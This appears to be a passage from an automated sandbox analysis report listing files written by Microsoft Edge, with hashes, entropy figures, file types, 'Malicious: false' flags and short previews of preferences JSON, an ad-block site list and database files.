MD5:	A4135151CE50DDFAF2D19DEAE0BC6A59
SHA1:	31FC053D933F82049C6FEDCF8882A6346E03B8F9
SHA-256:	38106EB197FAA203F596AA3F03D6E5081DB9186580F66A259E20D2B9F8701204
SHA-512:	AC5BA1AB736613AC56009DA85891E0330358F2DE6314EC7275C0D01B68DEBD888EE2F19905B75757843230A8D6F6DE5AC5FF76F9323E98D157DC8E007F03D00A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8e61f450-52a0-404d-9a82-7698a555ad0e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46515
Entropy (8bit):	6.0854871272029705
Encrypted:	false
SSDEEP:	768:ZMkbJrT8IeQcrQgJKHjNi1zNtuIVHzb0EbF0GzPmP218xCio0JDSgzMMd6qD47uk:ZMk1rT8HpKXTP218xFo0tSmd6qE7J
MD5:	997A064F88F58B7D92D481681E60EB96
SHA1:	258A014D75EBBF446E26AE5364B549D17FA51616
SHA-256:	49476CFF8734418E1CB5ED9DB51C2F51D7650E37D1D615A59BB7C15D9B4ADF26
SHA-512:	06D91DFE74B6558F0DCBFD8A3B6AF491EA8DCFA327DDA2AA41E31444760B37B53C00FB1422EBFB45F63F1A70D11486B9AB59F7507734401AE64C626E0D919FC0
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13375991305063264","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"bb01909a-9587-4919-ba75-42d03b79585e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731517709"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\c2d1a382-482b-413a-804a-8e5afa009d13.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\022b31a9-638f-402c-be7c-d9152bd0b7b8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16529), with no line terminators
Category:	dropped
Size (bytes):	16534
Entropy (8bit):	5.438289970626718
Encrypted:	false
SSDEEP:	192:styJ99QTryDigabatSuyp3sX3aFvrE9kIDN1dpSKpfiLtN8UbV+FVcQweuU7PGYJ:styPGKSu43sX3CDCD9GbGaQwWD
MD5:	3A7FF502C0C5642CF22499C21B1EE936
SHA1:	27234CC27C06B29561973D6EAC6CFCE02998CC7B
SHA-256:	3C653D75C5172702B782D9B89458574F37EE719A43F931A12EBC3AF7C8025254
SHA-512:	01CCD52F3A7F089662F787305B7016776E885C9A98499B912B2866CFEC930FA665B277524F2B03AEF47BFAE65219D27822297C033B8E7F88E1A81AE8C1ABB123
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375991304965054","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\047d21a8-ef20-4b5e-825f-5b4eb181dbf4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13822
Entropy (8bit):	5.231207876826248
Encrypted:	false
SSDEEP:	192:styJ99QTryDigabatSuyp3sX3aFvrE9kIizN1dqtN8UbV+FVcQweuU7PGYJ:styPGKSu43sX3CDCVbGaQwWD
MD5:	321318B8A9280AAA1CA296D607E9283A
SHA1:	9A1659E98266570C6F49AC2D70FA3BB5721697E9
SHA-256:	5F6EAC397BC002D65EAE0D095F39ABB1A9513F77E40671946C464E714BC0A6FB
SHA-512:	A6C117D41012458941FBCA427F20090B2FC7DF774C8ED19999A3A828AE33BD3A07BD248FB93D166D0DF770D1F4F84EDFAE4ABD31BB261DFA24270A81DA4759DB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375991304965054","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\08ca72cb-d93c-4830-829e-5b0ed9e9449d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17287), with no line terminators
Category:	dropped
Size (bytes):	17292
Entropy (8bit):	5.4771016856289405
Encrypted:	false
SSDEEP:	192:styJ99QTryDigabatSuyp3sX3aFvrEnW6TkIDN1dpSKpfiLtN8UbV+FVcQwep37v:styPGKSu43sX3CDmW6jD9GbGaQwq3D
MD5:	DF9FF521A37EC32EE3DCF289F052D0B3
SHA1:	B8F00D4ED15937F7BF96E6229A2499AB7B432AED
SHA-256:	3654B51DA8772EACE3D8FE55660A64B307276577605481C8AC11998F18273461
SHA-512:	3D40B8E8A99C6D6579ED66C202A4E0ED94DD8258C23FFF18F2BD5CCAFDFD6A79579F4AB8A68D77DECC60978250107105B01134F78398A4AC061EC2A993E3D3C6
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375991304965054","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\38afc37a-2c31-45d6-9567-efa2faf0546c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3f8d4663-84e0-4a32-9969-7819d9a14667.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\488d9d90-58f4-4aa5-828b-d3edf3b3387b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17287), with no line terminators
Category:	dropped
Size (bytes):	17292
Entropy (8bit):	5.477099190401099
Encrypted:	false
SSDEEP:	192:styJ99QTryDigabatSuyp3sX3aFvrEnW6TkIDN1dpSKpfiLtN8UbV+FVcQwej37v:styPGKSu43sX3CDmW6jD9GbGaQw83D
MD5:	E8B70E130A6C165E1E1C4E155B74E34A
SHA1:	541E5BF35ECC60BA9EAD1994C80FDF0BB9150DB9
SHA-256:	10897D1A24D490FDB979578C1A4507F8D8B0E5FEC20D2DC5DAB9F833DDAEC535
SHA-512:	923B7DFE4EBD6E7A7E10A00A9D3FD7E8C21DDB53949AC41BD77523DBCA75CB473C2639D930AEF79A2B1DE40D9C880FDA507BF923E71C033D5CAACD5028B5246A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375991304965054","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6a5b88b1-f2a9-46ee-9f8c-75db0c09fe75.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17122), with no line terminators
Category:	dropped
Size (bytes):	17127
Entropy (8bit):	5.4803877769473175
Encrypted:	false
SSDEEP:	192:styJ99QTryDigabatSuyp3sX3aFvrEnW6TkIDN1dpSKpfiLtN8UbV+FVcQweTU7v:styPGKSu43sX3CDmW6jD9GbGaQw7D
MD5:	E883C2CDF0466714983C50272984D754
SHA1:	826FDFE1B85A0CB1129E6B5052D2A9BFD419EE73
SHA-256:	4563A150C9F64121B33B0F0170F8F1E34F00EED6331E893A1BE66831FEA55A93
SHA-512:	3C54F6208DEE3F06C8F94BC73961FC40B369CFD20940C949E7B737E1DC20617C6B9FD6EBF56B3D485ABE89BA733CC70D2D8A85ED67A3BABE5CF3D02855B18D3B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375991304965054","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\70c4ae7b-091e-402f-922a-4a2b7a1ac3ed.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222888906029022
Encrypted:	false
SSDEEP:	24576:IbPMZpVPfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVPfx2mjF
MD5:	2620816288864ED431417EB72C5D26B1
SHA1:	9CC9D7A3EEBA336FD77FCF9073D55BD802A613B2
SHA-256:	98FF2E3F3F294E742D74E9CB014D1212A0E34FF1EA3262567F3CA3D1BBC888CA
SHA-512:	08568AA12D627AE7AB6262EE1B5C3D86F1E8D6006505A51FBA3B74F8CF62F328AB2CA6A6A91AA1765F49A19B673EB6698F89ED429647403CE2B60CFA874DA936
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	360
Entropy (8bit):	5.113202070134293
Encrypted:	false
